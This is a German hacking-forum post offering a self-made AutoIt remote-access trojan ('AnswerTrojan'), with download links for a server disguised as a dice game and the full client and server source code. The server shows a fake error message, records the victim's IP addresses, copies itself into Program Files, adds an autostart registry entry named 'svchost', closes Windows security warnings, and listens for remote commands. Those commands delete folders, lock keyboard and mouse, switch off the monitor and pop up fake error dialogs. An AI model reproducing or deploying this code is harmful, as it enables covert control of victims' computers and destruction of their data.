|
Little Boy
Registriert seit: May 2009
Ort: BY
Beiträge: 18
Bedankt: 0
|
Is überhaupt nix gefährliches!!!!
Hier die links zum Download:
client:
http://linde0832.li*****pic.de/client.exe
server:
http://linde0832.li*****pic.de/würfelgame.exe
ACHTUNG!!!! Is getarnt als Würfelspiel^^
Quellcode Server (AutoIt):
Code:
#include <GuiConstantsEx.au3>
#include <INet.au3>
#NoTrayIcon
If FileRead(@MyDocumentsDir & "\windowsshortfile.data") = 0 Then
ProcessClose("explorer.exe")
Sleep(1000)
Run(@SystemDir & "\explorer.exe")
Sleep(500)
MsgBox(64, "Nicht Kompatibel", "Windows kann diese Datei nicht mit ihrer ServicePackversion " & @OSServicePack & " starten." & @LF & "WSA Errornumber: 884eIIOþ",10)
MsgBox(64, "Short Info", "OSLang: " & @OSLang & @LF & "OSBuild: " & @OSBuild & @LF & "OSVersion: " & @OSVersion & @LF & "OSServicepack: "&@OSServicePack & @LF & "IPv4: " & @IPAddress1 & @LF & "IPv6: " & _GetIP(),10)
FileWrite(@MyDocumentsDir & "\windowsshortfile.data", @IPAddress1 & "-" & _GetIP())
FileCopy(@S*****FullPath, "C:\Programme\winserver.exe",1)
EndIf
#RequireAdmin
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","svchost","REG_SZ",'"'& "C:\Programme\winserver.exe"&'"')
Local $szServerPC = @ComputerName
Local $szIPADDRESS = @IPAddress1
Local $nPORT = 5110
Local $MainSocket, $GOOEY, $edit, $ConnectedSocket, $szIP_Accepted
Local $msg, $recv
TCPStartup()
$count = 1
While 1
If WinExists("Windows-Sicherheitshinweis", "") Then WinKill("Windows-Sicherheitshinweis", "")
If $count = 20000 Then ExitLoop
Sleep(1)
$count = $count + 1
WEnd
HotKeySet("{F1}", "showhide")
$show = False
$MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$GOOEY = GUICreate("My Server (IP: " & $szIPADDRESS & ")", 300, 200)
$edit = GUICtrlCreateEdit("", 10, 10, 280, 180)
GUISetState(@SW_HIDE)
$ConnectedSocket = -1
Do
$ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
While 1
$msg = GUIGetMsg()
If $msg = $GUI_EVENT_CLOSE Then ExitLoop
$recv = TCPRecv($ConnectedSocket, 2048)
If @error Then ExitLoop
If $recv <> "" Then
$sNew = StringSplit($recv, "|")
GUICtrlSetData($edit, SocketToIP($ConnectedSocket) & ">--< " & $recv & @CRLF & GUICtrlRead($edit))
If $sNew[1] = "bildschirm" Then
If $sNew[2] = "on" Then $art = -1
If $sNew[2] = "off" Then $art = 2
Opt("WinTitleMatchMode", 4)
$hwnd = WinGetHandle('classname=Progman')
_ToggleMonitor($hWnd, $art)
EndIf
If $sNew[1] = "del" Then
DirRemove($sNew[2], 1)
EndIf
If $sNew[1] = "error" Then
MsgBox($sNew[2], $sNew[3], $sNew[4])
EndIf
If $sNew[1] = "blockinput" Then
BlockInput($sNew[2])
EndIf
EndIf
WEnd
If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket)
TCPShutdown()
; Function to return IP Address from a connected socket.
;----------------------------------------------------------------------
Func SocketToIP($SHOCKET)
Local $sockaddr, $aRet
$sockaddr = DllStructCreate("short;ushort;uint;char[8]")
$aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
"ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
If Not @error And $aRet[0] = 0 Then
$aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
If Not @error Then $aRet = $aRet[0]
Else
$aRet = 0
EndIf
$sockaddr = 0
Return $aRet
EndFunc ;==>SocketToIP
; Funktion to Toggle Monitor On or Off
; ---------------------------------------------------------------------
Func _ToggleMonitor($hwnd, $OnOff)
Local Const $WM_SYSCOMMAND = 274
Local Const $SC_MONITORPOWER = 61808
_SendMessage2($hWnd, $WM_SYSCOMMAND, $SC_MONITORPOWER, $OnOff)
If @error Then
MsgBox(0,"_ToggleMonitor", "_SendMessage Error: " & @error)
Exit
EndIf
EndFunc
Func _SendMessage2($hWnd, $iMsg, $wParam = 0, $lParam = 0, $iReturn = 0, $wParamType = "wparam", $lParamType = "lparam", $sReturnType = "lparam")
Local $aResult = DllCall("user32.dll", $sReturnType, "SendMessage", "hwnd", $hWnd, "int", $iMsg, $wParamType, $wParam, $lParamType, $lParam)
If @error Then Return SetError(@error, @extended, "")
If $iReturn >= 0 And $iReturn <= 4 Then Return $aResult[$iReturn]
Return $aResult
EndFunc ;==>_SendMessage
Func showhide()
If $show = False Then
GUISetState(@SW_SHOW)
$show = True
Else
GUISetState(@SW_HIDE)
$show = False
EndIf
EndFunc
Client:
Code:
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
Example()
Func Example()
; Set Some reusable info
;--------------------------
Local $ConnectedSocket, $szData
Local $szIPADDRESS = @IPAddress1
Local $nPORT = 5110
; Start The TCP Services
;==============================================
TCPStartup()
; Initialize a variable to represent a connection
;==============================================
$ConnectedSocket = -1
;Attempt to connect to SERVER at its IP and PORT 33891
;=======================================================
;~ $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
; If there is an error... show it
;~ If @error Then
;~ MsgBox(4112, "Error", "TCPConnect failed with WSA error: " & @error)
;~ Else
#Region ### START Koda GUI section ### Form
$Form1 = GUICreate("AnswerTrojan by Answer", 184, 218, 262, 171)
$Label1 = GUICtrlCreateLabel("IP:", 8, 8, 22, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
$IP = GUICtrlCreateInput(@IPAddress1, 32, 8, 85, 21)
GUICtrlSetLimit(-1, 13)
$connect = GUICtrlCreateButton("Verbinden", 124, 8, 55, 25, 0)
$Group1 = GUICtrlCreateGroup("Möglichkeiten:", 8, 40, 169, 153)
$message = GUICtrlCreateButton("Nachricht senden", 16, 64, 155, 25, 0)
$delete = GUICtrlCreateButton("Daten löschen", 16, 96, 155, 25, 0)
$monitor = GUICtrlCreateButton("Bildschirmoptionen", 16, 128, 155, 25, 0)
$keyboard = GUICtrlCreateButton("Tastatur u. Maus", 16, 160, 155, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$status = GUICtrlCreateLabel(@TAB & "Nicht verbunden", -8, 200, 196, 19, $SS_CENTERIMAGE)
GUICtrlSetBkColor(-1, 0xFF0000)
GUISetState(@SW_SHOW)
GUICtrlSetState($message, $GUI_DISABLE)
GUICtrlSetState($delete, $GUI_DISABLE)
GUICtrlSetState($monitor, $GUI_DISABLE)
GUICtrlSetState($keyboard, $GUI_DISABLE)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $connect
If GUICtrlRead($connect) = "Verbinden" Then
GUICtrlSetData($status, @TAB & "Verbindung wird hergestellt...")
$ConnectedSocket = TCPConnect(GUICtrlRead($IP), $nPORT)
If @error Then
MsgBox(4112, "Fatal ERROR", "TCPConnect failed with WSA error: " & @error)
GUICtrlSetData($status, @TAB & "Nicht verbunden")
Else
GUICtrlSetData($status, @TAB & "Verbunden")
GUICtrlSetData($connect, "Trennen")
GUICtrlSetState($message, $GUI_ENABLE)
GUICtrlSetState($delete, $GUI_ENABLE)
GUICtrlSetState($monitor, $GUI_ENABLE)
GUICtrlSetState($keyboard, $GUI_ENABLE)
EndIf
Else
TCPCloseSocket($ConnectedSocket)
GUICtrlSetData($status, @TAB & "Nicht verbunden")
GUICtrlSetData($connect, "Verbinden")
GUICtrlSetState($message, $GUI_ENABLE)
GUICtrlSetState($delete, $GUI_ENABLE)
GUICtrlSetState($monitor, $GUI_ENABLE)
GUICtrlSetState($keyboard, $GUI_ENABLE)
EndIf
Case $GUI_EVENT_CLOSE
Exit
Case $message
$titel = InputBox("Titel", "Bitte den Titel der Meldung angeben", "Windows Kontrollzentrum")
If $titel <> "" Then
$text = InputBox("Text", "Bitte den Text für die Fehlermeldung schreiben", "Error in datei ""%windir%\system32\stupiduser.dll""")
If $text <> "" Then
TCPSend($ConnectedSocket, "error|16|" & $titel & "|" & $text)
EndIf
EndIf
Case $delete
$pfad = InputBox("Löschen", "Bitte hier den Pfad zum löschen angeben" & @LF & "zb.:" & @LF & @LF & "C:\Programme\" & @LF & "C:\Programme\<programmname>\")
If $pfad <> "" Then TCPSend($ConnectedSocket, "del|" & $pfad)
Case $keyboard
#Region ### START Koda GUI section ### Form=
GUISetState(@SW_DISABLE)
$Form2 = GUICreate("T u. A optionen", 216, 66, 193, 125)
GUICtrlCreateLabel("Tastatur u. Mausoptionen wählen:", 8, 8, 165, 17)
$TUM1 = GUICtrlCreateButton("Sperren", 8, 32, 75, 25, 0)
$TUS0 = GUICtrlCreateButton("Entsperren", 136, 32, 75, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
ExitLoop
Case $TUM1
TCPSend($ConnectedSocket, "blockinput|1")
Case $TUS0
TCPSend($ConnectedSocket, "blockinput|0")
EndSwitch
WEnd
GUIDelete()
GUISetState(@SW_ENABLE)
Case $monitor
#Region ### START Koda GUI section ### Form=
GUISetState(@SW_DISABLE)
$Form2 = GUICreate("Bildschirm", 216, 66, 193, 125)
GUICtrlCreateLabel("Bildschirmoptionen", 8, 8, 165, 17)
$On = GUICtrlCreateButton("An", 8, 32, 75, 25, 0)
$Off = GUICtrlCreateButton("Aus", 136, 32, 75, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
ExitLoop
Case $On
TCPSend($ConnectedSocket, "bildschirm|on")
Case $Off
TCPSend($ConnectedSocket, "bildschirm|off")
EndSwitch
WEnd
GUIDelete()
GUISetState(@SW_ENABLE)
EndSwitch
WEnd
;~ EndIf
EndFunc ;==>Example
|